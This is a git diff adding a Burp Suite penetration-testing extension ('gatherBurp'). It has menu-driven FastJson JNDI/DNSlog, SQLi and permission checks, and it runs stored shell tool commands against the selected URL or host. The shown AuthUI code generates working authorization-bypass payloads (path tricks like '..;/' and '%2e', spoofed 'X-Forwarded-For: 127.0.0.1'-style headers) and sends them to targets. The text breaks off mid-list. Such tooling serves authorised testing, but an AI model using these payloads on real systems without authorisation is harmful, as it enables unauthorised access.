z@5T9i;g`5r1=Kz(U6ZJ{W*V*a_u$Esq$O}YeYvZQwq_Y9$G?q_KR-H2?^+`>Q;4)J z{GWIFzhTtONe``c0ssV?wIeG`_g5q`?bzE!dK(3wQkI8(Vc;@~AqVFA-yzKBP>?M>% zj*U;CUd^UMw1FY4X7?#3TRqJ7!E%1Px;LS5p{prjE;@fg?-&1VL{fiM)s=)gs+pS@ zv!Dex`TlPF!JJVl2X{$>Y@f6(bT3^GBVMT3hF`ArQR|gXgzq$UF!z-qw7E_(_Yd|; z+!u+Ni5JT{RUE0!x^v9WbFMT{Pw{3uhwacK)j7>k8OjgM^Icm(Z&|q-RQslGmW)~D zo3w|)5wQIN(FJs0Y+W}`vD-_e+bIk2;r0HJKmh_ju<2c`#H_Kk?CA2(ra4}`M zs`s)~P60A4`@#cc4S0-#*&RZ$Q+_3CNM;-E&__XX-6>frk#-fabCN_yJP6cI(PL-W z!*!j$f|-)8!=fCw`eV!seWJq~ymZfvzl0yy_0<4w5_PGLt9eCZXZI(vwIq%4!-#=< zAV@Fv&qv&mR4`ICG;2FaB`SR38estGS+36osKRF6=-9*|;7TDoyzgQ-Q5JC+7n|3s{>U@v={<^Or!pk$KPGI7HeA;y#zGgZH63VvPk5Nt<28NbeF&t z89GPS7JkZ{u~)v{Jy#+~bz9H(S+hSp_-K6N5Nyvys^lPXI!mJx*^g7xnJJ&;DuEl1 z*FDVE_kWy${F)z^QC~iYtEl9Y09BecjT#<%o)oM{pGGL{>}8y9_-U_;^78bYF=nLL zsVFR~6Y*3Xdnwl4YF!PpN4K?y*OYB3G5S+U2g$Hvo;~pQ?*8`jxFgY{L?8-X4PSNs zf*D+aZ0C)rK3XeVR3ad#kK$CA2F9dU8Nh#;n&d}4Vsp{el5e^v-njkosH)C0_Er9vpwbM z)<-V|ST0goK`rx|(SkPM%ajKU(M_+k|;o}3n?$fRS)Ess+? zhlWY713s}K2c?PjK+}slXX?p^gd%)Om+Wt>90wicPhLtcoPJTPv?|c5LJM{@ATy)q zDZ88~W`U!E{U6J}ztvHd>1m_K0%xF=I4%)5WD#hZb7;z)w5I*3(&=d#X_l$qeey4) CLRqB% literal 0 HcmV?d00001 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..eaf8256 --- /dev/null +++ b/pom.xml @@ -0,0 +1,95 @@ + + 4.0.0 + + org.xm17 + gatherBurp + 1.0-SNAPSHOT + jar + + gatherBurp + http://maven.apache.org + + + UTF-8 + + + + + junit + junit + 3.8.1 + test + + + + net.portswigger.burp.extender + burp-extender-api + 2.3 + + + + commons-io + commons-io + 2.11.0 + + + org.json + json + 20200518 + + + + org.xerial + sqlite-jdbc + 3.42.0.0 + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 8 + 8 + UTF-8 + + + + org.apache.maven.plugins + maven-assembly-plugin + 3.3.0 + + + gatherBurp + false + + + burp.BurpExtender + + + + jar-with-dependencies + + + ${project.build.directory}/gather + + + + + + + make-assembly + package + + single + + + + + + + diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java new file mode 100644 index 0000000..5579afe --- /dev/null +++ b/src/main/java/burp/BurpExtender.java @@ -0,0 +1,188 @@ +package burp; + + +import javax.swing.*; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.io.PrintWriter; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +import burp.bean.Config; +import burp.ui.*; +import burp.utils.*; + +import static burp.dao.ConfigDAO.getToolConfig; +import static burp.utils.Utils.*; + + +public class BurpExtender implements IBurpExtender, IContextMenuFactory{ + + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) { + MainUI mainUi = new MainUI(iBurpExtenderCallbacks); + Utils.callbacks = iBurpExtenderCallbacks; + Utils.helpers = iBurpExtenderCallbacks.getHelpers(); + Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true); + Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true); + Utils.callbacks.setExtensionName(Utils.name); + Utils.callbacks.registerContextMenuFactory(this); + Utils.callbacks.addSuiteTab(mainUi); + SwingUtilities.invokeLater(new Runnable() { + @Override + public void run() { + Utils.callbacks.customizeUiComponent(mainUi); + } + }); + Utils.stdout.println("Loaded " + Utils.name + " v" + Utils.version + " by " + Utils.author); + Utils.stdout.println("Happy Hacking :)"); + + } + @Override + public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) { + List listMenuItems = new ArrayList(1); + IHttpRequestResponse[] responses = iContextMenuInvocation.getSelectedMessages(); + IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0]; + JMenu fastjson = new JMenu("FastJson"); + JMenuItem Dnslog = new JMenuItem("FastJson Dnslog Check"); + Dnslog.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastJsonUI().CheckDnslog(responses); + } + }); + thread.start(); + + } + }); + fastjson.add(Dnslog); + + JMenuItem Echo = new JMenuItem("FastJson Echo Check"); + Echo.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastJsonUI().CheckEchoVul(responses); + } + }); + thread.start(); + + } + }); + fastjson.add(Echo); + + JMenuItem JNDI = new JMenuItem("FastJson JNDI Check"); + JNDI.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastJsonUI().CheckJNDIVul(responses); + } + }); + thread.start(); + + } + }); + fastjson.add(JNDI); + + JMenuItem auth = new JMenuItem("AuthBypass Check"); + auth.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new AuthUI().CheckAuthBypass(responses); + } + }); + thread.start(); + + } + }); + + JMenuItem perm = new JMenuItem("PermBypass Check"); + perm.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new PermUI().CheckPermBypass(responses); + } + }); + thread.start(); + + } + }); + + JMenuItem sqli = new JMenuItem("SQLi Check"); + sqli.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new SqlUI().CheckSQLi(responses); + } + }); + thread.start(); + + } + }); + + + JMenu tools = new JMenu("tools"); + List toolParam = getToolConfig(); + for (Config config : toolParam) { + if (!Objects.equals(config.getType(), "") && !Objects.equals(config.getValue(), "")){ + tools.add(new JMenuItem(new AbstractAction(config.getType()) { + @Override + public void actionPerformed(ActionEvent e) { + Runnable toolRunner = new Runnable() { + @Override + public void run() { + try { + RobotInput ri = new RobotInput(); + if (responses != null) { + String cmd = config.getValue(); + if (cmd.contains("{url}")) { + String url = helpers.analyzeRequest(baseRequestResponse).getUrl().toString(); + cmd = cmd.replace("{url}", url); + } else if (cmd.contains("{request}")) { + IHttpRequestResponse message = baseRequestResponse; + String requestFilePath = RequestToFile(message); + cmd = cmd.replace("{request}", requestFilePath); + } else if (cmd.contains("{host}")) { + IHttpRequestResponse message = baseRequestResponse; + String host = message.getHttpService().getHost(); + cmd = cmd.replace("{host}", host); + } + ri.inputString(cmd); + } + } catch (Exception e1) { + e1.printStackTrace(stderr); + } + } + }; + new Thread(toolRunner).start(); + } + })); + } + } + + + listMenuItems.add(fastjson); + listMenuItems.add(auth); + listMenuItems.add(perm); + listMenuItems.add(sqli); + listMenuItems.add(tools); + + return listMenuItems; + } + + + + +} \ No newline at end of file diff --git a/src/main/java/burp/bean/Auth.java b/src/main/java/burp/bean/Auth.java new file mode 100644 index 0000000..9c3370b --- /dev/null +++ b/src/main/java/burp/bean/Auth.java @@ -0,0 +1,40 @@ +package burp.bean; + +public class Auth { + private String method; + private String path; + private String headers; + + public Auth() { + } + + public Auth(String method, String path, String headers) { + this.method = method; + this.path = path; + this.headers = headers; + } + + public String getMethod() { + return method; + } + + public void setMethod(String method) { + this.method = method; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + public String getHeaders() { + return headers; + } + + public void setHeaders(String headers) { + this.headers = headers; + } +} diff --git a/src/main/java/burp/bean/Config.java b/src/main/java/burp/bean/Config.java new file mode 100644 index 0000000..41a044d --- /dev/null +++ b/src/main/java/burp/bean/Config.java @@ -0,0 +1,61 @@ +package burp.bean; + +public class Config { + private Integer id; + private String module; + private String type; + private String value; + + public Config() { + } + + public Config(String module, String type, String value) { + this.module = module; + this.type = type; + this.value = value; + } + + public Config(String type, String value) { + this.type = type; + this.value = value; + } + + public Config(Integer id, String module, String type, String value) { + this.id = id; + this.module = module; + this.type = type; + this.value = value; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getModule() { + return module; + } + + public void setModule(String module) { + this.module = module; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } +} diff --git a/src/main/java/burp/bean/Fastjson.java b/src/main/java/burp/bean/Fastjson.java new file mode 100644 index 0000000..7c7e8a7 --- /dev/null +++ b/src/main/java/burp/bean/Fastjson.java @@ -0,0 +1,49 @@ +package burp.bean; + +public class Fastjson { + private Integer id; + private String type; + private String url; + + public Fastjson() { + } + + public Fastjson(Integer id, String type, String url) { + this.id = id; + this.type = type; + this.url = url; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + @Override + public String toString() { + return "Fastjson{" + + "id=" + id + + ", type='" + type + '\'' + + ", url='" + url + '\'' + + '}'; + } +} diff --git a/src/main/java/burp/bean/Perm.java b/src/main/java/burp/bean/Perm.java new file mode 100644 index 0000000..4965556 --- /dev/null +++ b/src/main/java/burp/bean/Perm.java @@ -0,0 +1,56 @@ +package burp.bean; + +public class Perm { + private int id; + private String domain; + private String low; + private String no; + + public Perm() { + } + + public Perm(String domain, String low, String no) { + this.domain = domain; + this.low = low; + this.no = no; + } + + public Perm(int id, String domain, String low, String no) { + this.id = id; + this.domain = domain; + this.low = low; + this.no = no; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getDomain() { + return domain; + } + + public void setDomain(String domain) { + this.domain = domain; + } + + public String getLow() { + return low; + } + + public void setLow(String low) { + this.low = low; + } + + public String getNo() { + return no; + } + + public void setNo(String no) { + this.no = no; + } +} diff --git a/src/main/java/burp/bean/Sql.java b/src/main/java/burp/bean/Sql.java new file mode 100644 index 0000000..835c049 --- /dev/null +++ b/src/main/java/burp/bean/Sql.java @@ -0,0 +1,34 @@ +package burp.bean; + +public class Sql { + private int id; + private String sql; + + public Sql() { + } + + public Sql(String sql) { + this.sql = sql; + } + + public Sql(int id, String sql) { + this.id = id; + this.sql = sql; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getSql() { + return sql; + } + + public void setSql(String sql) { + this.sql = sql; + } +} diff --git a/src/main/java/burp/dao/ConfigDAO.java b/src/main/java/burp/dao/ConfigDAO.java new file mode 100644 index 0000000..1d970b1 --- /dev/null +++ b/src/main/java/burp/dao/ConfigDAO.java @@ -0,0 +1,166 @@ +package burp.dao; + +import burp.bean.Config; +import burp.bean.Fastjson; +import burp.utils.DBUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class ConfigDAO { + + // 获取配置的所有数据 + public static List getConfigList() throws SQLException { + List configs = new ArrayList<>(); + String sql = "select * from config"; + Connection connection = DBUtils.getConnection(); + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + Config config = new Config(); + config.setId(resultSet.getInt("id")); + config.setValue(resultSet.getString("key")); + config.setValue(resultSet.getString("value")); + configs.add(config); + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return configs; + } + + // 根据模块和类型获取配置 + public static Config getValueByModuleAndType(String module,String type){ + Config config = new Config(); + String sql = "select value from config where module = ? and type = ? order by id desc limit 1"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, module); + ps.setString(2, type); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + config.setValue(resultSet.getString("value")); + } + }catch (Exception e){ + Utils.stderr.println(e.getMessage()); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return config; + } + // 根据类型更新配置 + public static void updateConfigSetting(Config config){ + String sql = "update config set value = ? where type = ? and module = ?"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, config.getValue()); + ps.setString(2, config.getType()); + ps.setString(3, config.getModule()); + ps.executeUpdate(); + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,null); + } + } + + // 保存配置 + public static void saveConfigSetting(Config config){ + String sql = "insert into config(module,type,value) values(?,?,?)"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, config.getModule()); + ps.setString(2, config.getType()); + ps.setString(3, config.getValue()); + ps.executeUpdate(); + }catch (Exception e){ + Utils.stderr.println(e.getMessage()); + }finally { + DBUtils.close(connection,ps,null); + } + + } + // 获取工具配置 + public static List getToolConfig(){ + List configs = new ArrayList<>(); + String sql = "select * from config where module = 'tool'"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + Config config = new Config(); + config.setId(resultSet.getInt("id")); + config.setModule(resultSet.getString("module")); + config.setType(resultSet.getString("type")); + config.setValue(resultSet.getString("value")); + configs.add(config); + } + }catch (Exception e){ + Utils.stderr.println(e.getMessage()); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return configs; + } + // 删除配置 + public static void deleteConfig(Config config){ + String sql = "delete from config where type = ?"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, config.getType()); + ps.executeUpdate(); + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,null); + } + + } +} diff --git a/src/main/java/burp/dao/FastjsonDAO.java b/src/main/java/burp/dao/FastjsonDAO.java new file mode 100644 index 0000000..3ddce37 --- /dev/null +++ b/src/main/java/burp/dao/FastjsonDAO.java @@ -0,0 +1,89 @@ +package burp.dao; + +import burp.bean.Fastjson; +import burp.utils.DBUtils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class FastjsonDAO { + public static List getFastjsonListByDnsLog() throws SQLException { + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'dns'"; + Connection connection = DBUtils.getConnection(); + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + Fastjson fastjson = new Fastjson(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return fastjsons; + } + + public static List getFastjsonListByJNDI() throws SQLException{ + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'jndi'"; + Connection connection = DBUtils.getConnection(); + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + Fastjson fastjson = new Fastjson(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return fastjsons; + } + + public static List getFastjsonListByEchoVul() throws SQLException{ + List fastjsons = new ArrayList<>(); + + String sql = "select * from fastjson where type = 'echo'"; + Connection connection = DBUtils.getConnection(); + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + Fastjson fastjson = new Fastjson(); + fastjson.setId(resultSet.getInt("id")); + fastjson.setType(resultSet.getString("type")); + fastjson.setUrl(resultSet.getString("url")); + fastjsons.add(fastjson); + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return fastjsons; + } + +} diff --git a/src/main/java/burp/dao/PermDAO.java b/src/main/java/burp/dao/PermDAO.java new file mode 100644 index 0000000..095a2e3 --- /dev/null +++ b/src/main/java/burp/dao/PermDAO.java @@ -0,0 +1,86 @@ +package burp.dao; + +import burp.bean.Fastjson; +import burp.bean.Perm; +import burp.utils.DBUtils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; + +public class PermDAO { + public static int savePerm(Perm perm) { + String sql = "insert into perm(domain,low,no) values(?,?,?)"; + Connection connection = null; + int i = 0; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + ps.setString(1, perm.getDomain()); + ps.setString(2, perm.getLow()); + ps.setString(3, perm.getNo()); + i = ps.executeUpdate(); + } catch (Exception e) { + e.printStackTrace(); + } finally { + DBUtils.close(connection, ps, resultSet); + } + return i; + } + public static Perm getPerm(){ + Perm perm = new Perm(); + String sql = "select * from perm ORDER BY id desc limit 1"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()){ + perm.setId(resultSet.getInt("id")); + perm.setDomain(resultSet.getString("domain")); + perm.setLow(resultSet.getString("low")); + perm.setNo(resultSet.getString("no")); + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return perm; + } + public static int deletePerm(){ + String sql = "delete from perm"; + Connection connection = null; + int i = 0; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + i = ps.executeUpdate(); + }catch (Exception e){ + e.printStackTrace(); + }finally { + DBUtils.close(connection,ps,resultSet); + } + return i; + } + +} diff --git a/src/main/java/burp/dao/SqlDAO.java b/src/main/java/burp/dao/SqlDAO.java new file mode 100644 index 0000000..2cb4b42 --- /dev/null +++ b/src/main/java/burp/dao/SqlDAO.java @@ -0,0 +1,87 @@ +package burp.dao; + +import burp.bean.Sql; +import burp.utils.DBUtils; +import burp.utils.Utils; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +public class SqlDAO { + public static List getSqliList() { + List sqlis = new ArrayList<>(); + String sql = "select * from sqli"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + ResultSet resultSet = null; + try { + ps = connection.prepareStatement(sql); + resultSet = ps.executeQuery(); + while (resultSet.next()) { + Sql sqli = new Sql(); + sqli.setId(resultSet.getInt("id")); + sqli.setSql(resultSet.getString("sql")); + sqlis.add(sqli); + } + } catch (SQLException e) { + throw new RuntimeException(e); + } finally { + DBUtils.close(connection, ps, resultSet); + } + return sqlis; + } + + public static void addSqli(Sql sqli) { + deleteSqli(); // 先清空表 + + String sql = "insert into sqli(sql) values(?)"; + try (Connection connection = DBUtils.getConnection(); + PreparedStatement ps = connection.prepareStatement(sql)) { + + if (sqli.getSql().contains("\n")) { + String[] sqls = sqli.getSql().split("\n"); + for (String s : sqls) { + ps.setString(1, s); + ps.addBatch(); + } + } else { + ps.setString(1, sqli.getSql()); + ps.addBatch(); + } + + ps.executeBatch(); + } catch (SQLException e) { + Utils.stderr.println(e.getMessage()); + } + } + + + public static void deleteSqli() { + String sql = "delete from sqli"; + Connection connection = null; + try { + connection = DBUtils.getConnection(); + } catch (SQLException e) { + throw new RuntimeException(e); + } + PreparedStatement ps = null; + try { + ps = connection.prepareStatement(sql); + ps.executeUpdate(); + } catch (SQLException e) { + throw new RuntimeException(e); + } finally { + DBUtils.close(connection, ps, null); + } + + } +} diff --git a/src/main/java/burp/ui/AuthUI.java b/src/main/java/burp/ui/AuthUI.java new file mode 100644 index 0000000..da40a59 --- /dev/null +++ b/src/main/java/burp/ui/AuthUI.java @@ -0,0 +1,368 @@ +package burp.ui; + +import burp.*; +import burp.bean.Auth; +import burp.utils.Utils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Objects; + + +import static burp.utils.Utils.helpers; + +public class AuthUI extends AbstractTableModel implements UIHandler, IMessageEditorController { + public IBurpExtenderCallbacks callbacks; + private static final List log = new ArrayList<>(); + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + @Override + public void init() { + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + JPanel jp=new JPanel(new BorderLayout()); + JSplitPane mSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); // 主分隔面板 + + JTable urlTable = new AuthUI.URLTable(AuthUI.this); + JScrollPane jScrollPane = new JScrollPane(urlTable); // 滚动条 + + JSplitPane xjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); // 请求与响应界面的分隔面板 + + JTabbedPane ltable = new JTabbedPane(); + HRequestTextEditor = callbacks.createMessageEditor(AuthUI.this, true); + ltable.addTab("Request", HRequestTextEditor.getComponent()); + + JTabbedPane rtable = new JTabbedPane(); + HResponseTextEditor = callbacks.createMessageEditor(AuthUI.this, false); + rtable.addTab("Response", HResponseTextEditor.getComponent()); + + xjSplitPane.setLeftComponent(ltable); + xjSplitPane.setRightComponent(rtable); + + xjSplitPane.setResizeWeight(0.5); // 设置调整权重为 0.5,使两个面板的宽度一样 + + jp.add(xjSplitPane); + + + JButton refershbutton = new JButton("刷新"); + refershbutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + fireTableDataChanged(); + } + }); + JButton deletebutton = new JButton("删除选中"); + deletebutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + HResponseTextEditor.setMessage(new byte[0], true); + HRequestTextEditor.setMessage(new byte[0], true); + int[] rows = urlTable.getSelectedRows(); + for (int i = rows.length - 1; i >= 0; i--) { + int row = urlTable.convertRowIndexToModel(rows[i]); + log.remove(row); + fireTableRowsDeleted(row, row); + fireTableDataChanged(); + } + } + }); + + JButton deleteallbutton = new JButton("删除全部"); + deleteallbutton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + HResponseTextEditor.setMessage(new byte[0], true); + HRequestTextEditor.setMessage(new byte[0], true); + log.clear(); + fireTableDataChanged(); + } + }); + + mSplitPane.add(jScrollPane, "left"); + mSplitPane.add(xjSplitPane, "right"); + + JSplitPane buttonSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); + JPanel buttonPanel = new JPanel(new GridLayout(1, 3)); + buttonPanel.add(refershbutton); + buttonPanel.add(deletebutton); + buttonPanel.add(deleteallbutton); + buttonSplitPane.setTopComponent(buttonPanel); + jp.add(buttonSplitPane, BorderLayout.NORTH); + + + jp.add(mSplitPane); + return jp; + } + + public void CheckAuthBypass(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String method = analyzeRequest.getMethod(); + String path = analyzeRequest.getUrl().getPath(); + String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest()); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String urlWithoutQuery = ""; + try { + URL url1 = new URL(url); + String protocol = url1.getProtocol(); // 获取协议部分,这里是 http + String host = url1.getHost(); // 获取主机名部分,这里是 192.168.11.3 + int port = url1.getPort(); // 获取端口号部分,这里是 7001 + urlWithoutQuery = protocol + "://" + host + ":" + port; + } catch (MalformedURLException e) { + throw new RuntimeException(e); + } + List authRequests = new ArrayList<>(); + authRequests.addAll(prefix(method, path)); + authRequests.addAll(suffix(method, path)); + + if (Objects.equals(method, "GET") || Objects.equals(method, "POST")) { + for (Auth value : authRequests) { + if (Objects.equals(value.getMethod(), "GET")) { + String new_request = request.replaceFirst(path, value.getPath()); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); + String requrl = urlWithoutQuery + value.getPath(); + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, requrl, statusCode, length, response); + } else if (Objects.equals(value.getMethod(), "POST")) { + String new_request = request.replaceFirst(path, value.getPath()); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); + String requrl = urlWithoutQuery + value.getPath(); + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, requrl, statusCode, length, response); + } + } + // 增加header payload 测试 + List testHeaders = headers(method, url); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + + for (Auth header : testHeaders) { + headers.add(header.getHeaders()); + } + byte[] message = Utils.helpers.buildHttpMessage(headers, body); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); + // 发送请求 + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, url, statusCode, length, response); + } + } + + public static List suffix(String method, String path) { + if (path.startsWith("//")) { + path = "/" + path.substring(2).replaceAll("/+", "/"); + } + List authRequests = new ArrayList<>(); + if (path.endsWith("/")) { + path = path.substring(0, path.length() - 1); + List payloads = Arrays.asList(path + "%2e/", path + "/.", "./" + path + "/./", path + "%20/", + "/%20" + path + "%20/", path + "..;/", path + "?", path + "??", "/" + path + "//", + path + "/", path + "/.randomstring"); + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new Auth("GET", payload, "")); + } else if ("POST".equals(method)) { + authRequests.add(new Auth("POST", payload, "")); + } + } + } else { + List payloads = Arrays.asList(path + "/%2e", path + "/%20", path + "%0d%0a", path + ".json", path + "/.randomstring"); + + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new Auth("GET", payload, "")); + } else if ("POST".equals(method)) { + authRequests.add(new Auth("POST", payload, "")); + } + } + } + return authRequests; + } + + public static List prefix(String method, String path) { + if (path.startsWith("//")) { + path = "/" + path.substring(2).replaceAll("/+", "/"); + } + List authRequests = new ArrayList<>(); + String[] prefix = {";/", ".;/", "images/..;/", ";a/", "%23/../"}; + for (String s : prefix) { + // 将路径按 / 分割为多个部分 + String[] pathParts = path.split("/"); + for (int i = 1; i < pathParts.length; i++) { + // 输出从第二个部分到最后一个部分 + String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length); + String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i); + if (prePathParts.length > 0) { + if ("GET".equals(method)) { + authRequests.add(new Auth("GET", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), "")); + } + else if ("POST".equals(method)){ + authRequests.add(new Auth("POST","/"+String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts),"")); + } + } else { + if ("GET".equals(method)){ + authRequests.add(new Auth("GET","/"+s + String.join("/", subPathParts),"")); + } else if ("POST".equals(method)) { + authRequests.add(new Auth("POST", "/" + s + String.join("/", subPathParts), "")); + } + } + } + } + + return authRequests; + } + + public static List headers(String method, String url) { + List authRequests = new ArrayList<>(); + List payloads = Arrays.asList("Access-Control-Allow-Origin: 127.0.0.1","Base-Url: " + url,"CF-Connecting-IP: 127.0.0.1", + "CF-Connecting_IP: 127.0.0.1","Client-IP: 127.0.0.1","Cluster-Client-IP: 127.0.0.1","Destination: 127.0.0.1", + "Forwarded-For-Ip: 127.0.0.1","Forwarded-For: 